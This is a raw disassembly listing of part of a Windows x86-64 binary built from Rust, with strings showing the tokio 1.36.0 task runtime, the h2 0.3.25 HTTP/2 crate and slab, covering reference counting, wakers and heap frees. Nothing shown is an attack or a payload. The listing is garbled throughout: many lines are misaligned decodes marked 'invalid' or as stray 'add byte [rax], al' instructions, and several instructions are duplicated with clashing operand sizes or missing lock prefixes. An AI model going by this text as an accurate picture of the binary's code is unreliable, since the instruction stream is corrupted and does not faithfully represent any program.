mov rdx, rsi
mov r8b, 1
call fcn.1400eca20
mov rax, 0xffffffffffffffc0
push rax
xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x1400897c0
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x140089694.0
mov rcx, rsi
call 0x140089a90
jmp case.0x140089694.0
lea rdi, [rsi + 0x20]
mov byte [rsp + 0x50], 5
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140089b50
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x48], rax
jmp 0x140089729
mov byte [rsp + 0x50], 5
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140089b50
xorps xmm0, xmm0
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 0
mov byte [rsp + 0x50], 4
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140089b50
mov rcx, rsi
call fcn.140089cf0
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ab00]
mov edx, 0x24
call fcn.1401046f0
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ae60]
mov edx, 0x26
call fcn.1401046f0
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.140104620
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ad98]
mov edx, 0x27
call fcn.1401046f0
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x140089aad
lea rcx, [rsi + 0x20]
call fcn.140068e50
lea rcx, [rsi + 0x30]
movzx eax, byte [rsi + 0x50]
mov edx, eax
and dl, 6
add al, 0xfd
xor r8d, r8d
cmp dl, 4
movzx eax, al
cmovne eax, r8d
cmp al, 1
je 0x140089adb
movzx eax, al
test eax, eax
jne 0x140089b17
call fcn.1400890d0
jmp 0x140089b17
cmp qword [rcx], 0
je 0x140089b17
mov rdi, qword [rsi + 0x38]
test rdi, rdi
je 0x140089b17
mov rbx, qword [rsi + 0x40]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140089b17
cmp qword [rbx + 0x10], 0x11
jb 0x140089b05
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x68]
test rax, rax
je 0x140089b27
mov rcx, qword [rsi + 0x70]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
and byte [rcx], al
add byte [rax], al
cmp eax, 1
je 0x140089cc2
test eax, eax
jne 0x140089cdc
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e46c0]
lea edx, [0x1400e46c0]
lea edx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rsi + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
je 0x140089d9f
test al, 2
jne 0x140089db7
test al, 8
jne 0x140089d37
lea rcx, [rsi + 0x20]
mov byte [rsp + 0x48], 5
and al, 0x48
add eax, 0x24548d48
sub al, ch
sbb edi, esi
invalid
invalid
jmp 0x140089d4f
and al, 0x48
add eax, 0x24548d48
sub al, ch
sbb edi, esi
invalid
test al, 0x10
je 0x140089d4f
mov rax, qword [rsi + 0x68]
test rax, rax
je 0x140089e3b
mov rcx, qword [rsi + 0x70]
call qword [rax + 0x10]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ec8c0
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x140089dcf
jne 0x140089d95
mov rcx, rsi
add rsp, 0x80
pop rsi
jmp 0x140089a90
nop
add rsp, 0x80
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x14014ab80]
mov edx, 0x23
call fcn.1401046f0
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014abc0]
mov edx, 0x25
call fcn.1401046f0
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x58]
and al, 0x58
and al, 0x58
mov qword [rsp + 0x60], rax
lea rax, [fcn.140012c90]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:_
or al, 0
or al, 0
mov qword [rsp + 0x28], rax
and al, 0x28
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x48], 0
and al, 0x48
add byte [rax], al
add byte [rax], al
and al, 0x48
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x60
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
and al, 0x40
add al, byte [rax]
add byte [rax], al
cmp byte [rax - 0x39], cl
and al, 0x40
and al, 0x40
and al, 0x40
add al, byte [rax]
add byte [rax], al
lea rdx, [0x14014ac08]
lea rcx, [rsp + 0x28]
add byte [rax - 0x73], cl
and al, 0x28
call fcn.140104620
cmpsd dword [rsi], dword [rdi]
invalid
add byte [rax - 0x73], cl
add eax, 0xc096e
lea rax, str.waker_missing
mov qword [rsp + 0x28], rax
and al, 0x28
mov qword [rsp + 0x30], 1
lea rax, [0x14016f768]
pop rcx
invalid
add byte [rax - 0x77], cl
and al, 0x38
xorps xmm0, xmm0
ror byte [rdi], 0x11
and al, 0x40
ror byte [rdi], 0x11
and al, 0x40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x28]
call fcn.140104620
int3
int3
int3
add byte [rax], al
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
mov eax, dword [rcx]
add byte [rax], 0
add byte [rax - 0x77], cl
invalid
mov eax, dword [rcx]
jmp 0x140089eba
mov rcx, rax
and rcx, 0xfffffffffffffff8
and ecx, 0xfffffff8
ror dword [rax - 0x7d], 0xe1
clc
and ecx, 0xfffffff8
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
cmpxchg qword [rsi], rcx
add eax, esi
cmpxchg qword [rsi], rcx
je 0x140089ee5
test al, 4
je 0x14008a111
add r8b, byte [r8]
add byte [rax + 0x48da7403], ch
cmp eax, 0x3f
test al, 3
je case.0x14009e6a0.153
cmp rax, 0x3f
jbe 0x14008a129
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x140089eba
movzx eax, dl
lea rcx, [0x140174804]
or eax, 0xea915
or eax, 0xea915
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014ae78]
add eax, 0xc0f79
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rsi
lea rax, [rsp + 0x60]
lea eax, [rsp + 0x60]
lea eax, [rsp + 0x60]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x78], eax
mov dword [rsp + 0x78], eax
movzx eax, byte [rsi + 0x50]
push rax
and al, 6
cmp al, 4
je 0x14008a141
add byte [rax], al
add byte [rax], al
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
jle 0x140089f56
jle 0x140089f56
mov eax, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140089f8b
xorps xmm6, xmm6
test eax, eax
jne 0x140089fb7
mov eax, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
and eax, 0x58
pop rdx
xor ecx, dword [rdi]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
and eax, 0x58
and eax, 0x58
mov r14, qword [rdx + rax*8]
mov esi, dword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
mov rbx, rcx
mov rcx, rax
call fcn.1400d3ad0
add al, 0
add byte [rax - 0x77], cl
retf
add al, 0
mov rcx, rbx
mov byte [r14 + 0x120], 1
mov byte [rsi + 0x120], 1
mov byte [rsi + 0x120], 1
add dword [rbx + 0xf332305], ecx
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
invalid
mov eax, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
adc al, 0x25
pop rax
add byte [rax], al
invalid
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rdx + rax*8]
mov rax, qword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
lock add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
add byte [rax - 0x39], cl
xor al, 0
invalid
invalid
lock add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov eax, 0xf8
add byte [rax], al
invalid
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xf8], rdi
add byte [rax], al
add byte [rax - 0x73], cl
invalid
push rsp
lea rdx, [rsp + 0x70]
lea edx, [rsp + 0x70]
and al, 0x70
call fcn.140089200
mov ecx, dword [0x14017d2b4]
xor cl, byte [rdi]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
add byte [rax], al
xor cl, byte [rdi]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
stc
invalid
je 0x14008a015
test ecx, ecx
jne 0x14008a02f
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rdi, qword [rdx + rcx*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e46c0]
add byte [rcx - 0x653b173d], cl
add al, 0
add byte [rcx - 0x653b173d], cl
add al, 0
mov eax, ebx
mov byte [rdi + 0x120], 1
invalid
add dword [rbx + 0xf32990d], ecx
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
lea rdi, [rsi + 0x20]
test al, al
ror byte [rdi], 0x84
test byte [rax], al
add byte [rax], al
ror byte [rdi], 0x84
test byte [rax], al
add byte [rax], al
mov rcx, rsi
call fcn.1400e7430
movzx eax, al
lea rcx, [0x140174814]
or eax, 0xea7c7
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400eb0b0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
rol dword [rsi], 0x48
cmp eax, 0x3f
rol dword [rsi], 0x48
cmp eax, 0x3f
jbe 0x14008a179
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x14008a054.0
mov rcx, rsi
call 0x14008a380
jmp case.0x14008a054.0
lea rdi, [rsi + 0x20]
mov byte [rsp + 0x50], 5
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140089b50
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x48], rax
jmp 0x14008a0e2
mov byte [rsp + 0x50], 5
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140089b50
xorps xmm0, xmm0
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 0
and al, 0x40
add byte [rax], al
add byte [rax], al
and al, 0x40
and al, 0x40
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x50], 4
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140089b50
mov rcx, rsi
call fcn.14008a440
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ab00]
mov edx, 0x24
call fcn.1401046f0
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ae60]
lea eax, [0x14014ae60]
lea eax, [0x14014ae60]
mov edx, 0x26
call fcn.1401046f0
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.140104620
lea rcx, str.assertion_failed:_prev.ref_count_____1
lock or ecx, dword [rax + rax]
lea r8, [0x14014ad98]
mov edx, 0x27
call fcn.1401046f0
int3
test al, 8
je 0x14008a221
test al, 2
jne 0x14008a1d8
mov rdx, rax
and rdx, 0xfffffffffffffff5
lock cmpxchg qword [rcx], rdx
jne 0x14008a1c0
jmp 0x14008a1f4
lea rax, [rcx + 0x20]
mov byte [rsp + 0x48], 5
lea rdx, [rsp + 0x28]
mov rsi, rcx
mov rcx, rax
call fcn.140089b50
mov rcx, rsi
mov rax, 0xffffffffffffffc0
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x14008a239
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14008a21a
add rsp, 0x50
pop rsi
jmp 0x14008a380
nop
add rsp, 0x50
pop rsi
ret
lea rcx, str.assertion_failed:_curr.is_join_interested__
lea r8, [0x14014ac98]
mov edx, 0x2b
call fcn.1401046f0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ad98]
mov edx, 0x27
call fcn.1401046f0
int3
invalid
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x14008a39d
lea rcx, [rsi + 0x20]
call fcn.140069ba0
lea rcx, [rsi + 0x30]
movzx eax, byte [rsi + 0x50]
mov edx, eax
and dl, 6
add al, 0xfd
xor r8d, r8d
cmp dl, 4
movzx eax, al
cmovne eax, r8d
cmp al, 1
je 0x14008a3cb
movzx eax, al
test eax, eax
jne 0x14008a407
call fcn.1400890d0
jmp 0x14008a407
cmp qword [rcx], 0
je 0x14008a407
mov rdi, qword [rsi + 0x38]
test rdi, rdi
je 0x14008a407
mov rbx, qword [rsi + 0x40]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14008a407
cmp qword [rbx + 0x10], 0x11
jb 0x14008a3f5
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x68]
test rax, rax
je 0x14008a417
mov rcx, qword [rsi + 0x70]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
and al, 0x78
add byte [rax], al
add byte [rax], al
lea rax, [rsp + 0x30]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], 1
and al, 0x70
add dword [rax], eax
add byte [rax], al
and al, 0x70
add dword [rax], eax
add byte [rax], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x58]
call fcn.140104620
invalid
invalid
invalid
invalid
mov qword [rdx + 8], r8
lea rcx, str.invalid_keyC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rsH
mov edx, 0xb
call fcn.140104a60
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rsH
call fcn.140104a40
lea rcx, str.assertion_failed:_slot.next.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rsH
mov edx, 0x25
call fcn.1401046f0
invalid
xchg ebx, eax
invalid
add byte [rax - 0x77], cl
test byte [rax + rax*4], ah
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0xfff8ee2b
mov qword [rsp + 0x180], rax
lea rax, [0x14001b1b0]
mov qword [rsp + 0x188], rax
mov byte [rcx], al
add byte [rax], al
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x58], rax
add byte [rax - 0x77], cl
and al, 0x58
mov qword [rsp + 0x60], 1
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x68], r12
mov dword [rsp + 0x68], esp
mov qword [rsp + 0x70], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x58]
call fcn.140104620
int3
or byte [rcx - 7], cl
dec esp
int3
cmp ebx, dword [rsi + rcx]
mov r8, qword [rcx + rax*8]
lea rcx, str.User
or eax, 0xe5c48
or eax, 0xe5c48
pop rsp
invalid
mov rax, qword [rcx + rax*8]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov edx, dword [rdx + 0x28]
mov edx, dword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
sub rsp, 0x20
movzx eax, byte [rcx]
lea edx, [rax - 2]
inc byte [rbx - 0x7df0fd06]
mov byte [rax], al
add byte [rax], al
inc byte [rbx - 0x7df0fd06]
mov byte [rax], al
add byte [rax], al
test eax, eax
je 0x14008c4ae
cmp eax, 1
jne 0x14008c451
mov rax, qword [rcx + 8]
mov eax, dword [rcx + 8]
mov rdx, qword [rcx + 0x10]
mov rax, qword [rax + 0x10]
mov r8, qword [rcx + 0x18]
add rcx, 0x20
add rsp, 0x20
invalid
invalid
pop rbx
invalid
pop rdi
pop rsi
jmp rax
mov rax, qword [rcx + 8]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x14008c4ae
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
pop rax
invalid
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je case.0x140066038.127
pop rax
invalid
cmp qword [rbx + 0x10], 0x11
jb 0x14008c482
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
add rsp, 0x20
and byte [rbx + 0x5f], bl
and byte [rbx + 0x5f], bl
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
int3
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0xe32f9
mov r8d, 5
call qword [rax + 0x18]
sbb byte [rax - 0x77], cl
je 0x14008c50d
sub byte [rax - 0x39cfdbbc], cl
and al, 0x31
add byte [rax - 0x73], cl
add eax, 0xafd8e
sbb byte [rax - 0x77], cl
je 0x14008c50d
sub byte [rax - 0x39cfdbbc], cl
and al, 0x31
add byte [rax - 0x73], cl
add eax, 0xafd8e
mov qword [rsp + 0x20], rax
and al, 0x20
lea rdx, str.kind
lea rcx, [rsp + 0x28]
and al, 0x28
and al, 0x28
lea r9, [rsp + 0x38]
and al, 0x38
mov r8d, 4
call fcn.1400144f0
cmp byte [rsp + 0x31], 0
movzx ecx, byte [rsp + 0x30]
je 0x14008c533
mov al, 1
test cl, cl
je 0x14008c53e
add rsp, 0x40
pop rsi
ret
test cl, cl
setne al
add rsp, 0x40
pop rsi
ret
mov rax, qword [rsp + 0x28]
test byte [rax + 0x34], 4
xor al, 4
xor al, 4
jne 0x14008c560
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140140fb9]
invalid
or rax, qword [rax]
mov r8d, 2
add byte [rax], al
invalid
add byte [rax], al
jmp 0x14008c575
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140146913]
mov r8d, 1
call qword [rax + 0x18]
nop
add rsp, 0x40
pop rsi
ret
lea ecx, [rax + 1]
mov qword [rsp + 0x50], rcx
lea r9, [rax + 4]
add rax, 8
lea rcx, [0x14013c1e8]
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x38], rcx
and al, 0x38
lea rcx, [0x14013bab8]
or eax, 0xaf4ef
or eax, 0xaf4ef
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
lea rax, [0x14013c1c8]
mov qword [rsp + 0x20], rax
lea rax, str.Reset
mov r8d, 5
jmp 0x14008c79d
mov r8d, 6
mov rsi, rdx
mov rdx, rax
call qword [r9 + 0x18]
mov qword [rsp + 0x58], rsi
mov byte [rsp + 0x60], al
mov qword [rsp + 0x50], 0
mov byte [rsp + 0x61], 0
lea r8, [0x14013c218]
jmp 0x14008c6c9
lea rcx, [rsp + 0x50]
lea rdx, [rsp + 0x68]
call fcn.140016520
mov rcx, qword [rsp + 0x50]
movzx edx, byte [rsp + 0x60]
test rcx, rcx
je 0x14008c73f
mov al, 1
test dl, dl
jne 0x14008c741
mov eax, edx
test al, al
setne al
add rsp, 0x70
pop rsi
ret
mov rcx, rdx
mov rdx, rax
call fcn.140016ee0
nop
add rsp, 0x70
pop rsi
ret
jne 0x14008cde0
cmp dword [r13], 2
je 0x14008de09
jge 0x14008cd36
add cl, byte [rdi]
test ah, cl
adc byte [rax], al
add byte [rcx + rcx*4 - 0x17], cl
mov rcx, r13
mov rdx, qword [rsp + 0x3f8]
call fcn.14008dfd0
test al, al
je 0x14008dac3
mov cl, 3
mov al, 1
jmp 0x14008dade
add byte [rax - 0x77], cl
and al, 0x68
mov byte [rsp + 0x48], dil
movzx eax, byte [rsp + 0x35]
mov byte [rsp + 0x49], al
movzx eax, word [rsp + 0x36]
mov word [rsp + 0x4a], ax
mov dword [rsp + 0x4c], r14d
mov dword [rsp + 0x50], ebp
test dil, dil
je 0x14008cece
movzx eax, dil
cmp eax, 1
jne 0x14008ceda
mov r15, qword [rsp + 0x50]
movups xmm0, xmmword [rsp + 0x58]
movaps xmmword [rsp + 0x350], xmm0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x360], rax
mov dil, 1
movzx ebp, byte [rsp + 0x35]
jmp 0x14008cf43
mov qword [rsp + 0x38], rdx
movaps xmm0, xmmword [rsp + 0x110]
movaps xmm1, xmmword [rsp + 0x120]
movaps xmm2, xmmword [rsp + 0x130]
movaps xmm3, xmmword [rsp + 0x140]
movaps xmmword [rsp + 0x1e0], xmm3
movaps xmmword [rsp + 0x1d0], xmm2
movaps xmmword [rsp + 0x1c0], xmm1
movaps xmmword [rsp + 0x1b0], xmm0
movaps xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0xf0], xmm0
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x100], rax
lea rcx, [rsp + 0x1f0]
and al, 0xf0
add dword [rax], eax
add byte [rcx + rcx*4 - 0x1e], cl
and al, 0xf0
add dword [rax], eax
add byte [rcx + rcx*4 - 0x1e], cl
call fcn.140027450
mov eax, ebp
shl r15, 0x20
or r15, rax
movzx ebp, byte [rsp + 0x35]
jmp 0x14008cf6d
mov r15d, ebp
xor edi, edi
movzx ebp, byte [rsp + 0x35]
jmp 0x14008cf43
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x50], rax
movzx ebp, byte [rsp + 0x35]
jne 0x14008cf31
movzx r15d, bpl
shl r15, 0x20
or r15, 3
jmp 0x14008cf40
lea rdx, [rsp + 0x50]
mov ecx, ebp
call fcn.14001f5a0
mov r15, rax
mov dil, 4
mov rax, qword [rsp + 0x360]
mov qword [rsp + 0x100], rax
movaps xmm0, xmmword [rsp + 0x350]
movaps xmmword [rsp + 0xf0], xmm0
mov eax, 3
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x340], rax
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmmword [rsp + 0x330], xmm0
add byte [rax], al
add byte [rax], al
movaps xmm0, xmmword [rsp + 0x1b0]
movaps xmm1, xmmword [rsp + 0x1c0]
movaps xmm2, xmmword [rsp + 0x1d0]
movaps xmm3, xmmword [rsp + 0x1e0]
movaps xmmword [rsp + 0x400], xmm0
movaps xmmword [rsp + 0x410], xmm1
movaps xmmword [rsp + 0x420], xmm2
movaps xmmword [rsp + 0x430], xmm3
movaps xmm0, xmmword [rsp + 0x1f0]
movaps xmmword [rsp + 0x440], xmm0
add al, 0
add byte [rax + 0x98be], al
add byte [rdx], al
add al, 0
add byte [rax + 0x98be], al
add byte [rdx], al
je 0x14008dd04
add byte [rdi], cl
adc byte [rbx], al
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movaps xmmword [rsp + 0x120], xmm1
movaps xmmword [rsp + 0x110], xmm0
mov rcx, r12
call fcn.140027650
mov rax, qword [r12]
lock dec qword [rax]
jne 0x14008d01b
mov rcx, r12
call fcn.140004660
movaps xmm0, xmmword [rsp + 0x110]
movaps xmm1, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0xc0], xmm1
movaps xmmword [rsp + 0xb0], xmm0
movups xmm0, xmmword [rsp + 0x1b0]
movups xmm1, xmmword [rsp + 0x1c0]
movups xmm2, xmmword [rsp + 0x1d0]
movups xmmword [rbx + 0x20], xmm2
movups xmmword [rbx + 0x10], xmm1
movups xmmword [rbx], xmm0
mov byte [rsi + 0x98], 2
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x4b]
mov dword [rsi + 0x99], eax
mov dword [rsi + 0x9c], ecx
mov rax, qword [rsp + 0x38]
cmp rax, 3
jne 0x14008d12c
mov byte [rsp + 0x78], dil
mov byte [rsp + 0x79], bpl
movzx eax, word [rsp + 0x36]
mov word [rsp + 0x7a], ax
mov dword [rsp + 0x7c], r14d
mov qword [rsp + 0x80], r15
movaps xmm0, xmmword [rsp + 0x330]
movups xmmword [rsp + 0x88], xmm0
mov rax, qword [rsp + 0x340]
mov qword [rsp + 0x98], rax
mov r12, qword [rsp + 0xb0]
mov rcx, r12
call fcn.1400394d0
test rax, rax
je 0x14008d4c7
mov r14, rax
movzx eax, dil
lea ecx, [rax - 2]
cmp ecx, 2
mov rcx, qword [rsp + 0x38]
jb 0x14008d90f
test eax, eax
je 0x14008d90f
cmp eax, 1
jne 0x14008d8b8
lea rcx, [rsp + 0x98]
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x90]
call qword [r15 + 0x10]
jmp 0x14008d90a
mov qword [rsp + 0x110], rax
mov byte [rsp + 0x118], dil
mov byte [rsp + 0x119], bpl
movzx eax, word [rsp + 0x36]
mov word [rsp + 0x11a], ax
mov dword [rsp + 0x11c], r14d
mov qword [rsp + 0x120], r15
movaps xmm0, xmmword [rsp + 0x330]
movups xmmword [rsp + 0x128], xmm0
mov rax, qword [rsp + 0x340]
mov qword [rsp + 0x138], rax
movaps xmm0, xmmword [rsp + 0x400]
movaps xmm1, xmmword [rsp + 0x410]
movaps xmm2, xmmword [rsp + 0x420]
movaps xmm3, xmmword [rsp + 0x430]
movups xmmword [rsp + 0x140], xmm0
movups xmmword [rsp + 0x150], xmm1
movups xmmword [rsp + 0x160], xmm2
movups xmmword [rsp + 0x170], xmm3
movaps xmm0, xmmword [rsp + 0x440]
movups xmmword [rsp + 0x180], xmm0
mov rdi, qword [rsp + 0xb0]
test rdi, rdi
je 0x14008d251
lea r14, [rdi + 0x10]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi + 0x10], cl
jne 0x14008db71
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x14008db8c
xor ebp, ebp
movzx eax, byte [rdi + 0x11]
test al, al
jne 0x14008dba3
cmp dword [rdi + 0x50], 0x3b9aca00
je 0x14008d227
call fcn.1400dfe70
mov qword [rdi + 0x48], rax
mov dword [rdi + 0x50], edx
test bpl, bpl
jne 0x14008d23f
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x14008dbd9
xor eax, eax
xchg byte [r14], al
cmp al, 2
jne 0x14008d251
mov rcx, r14
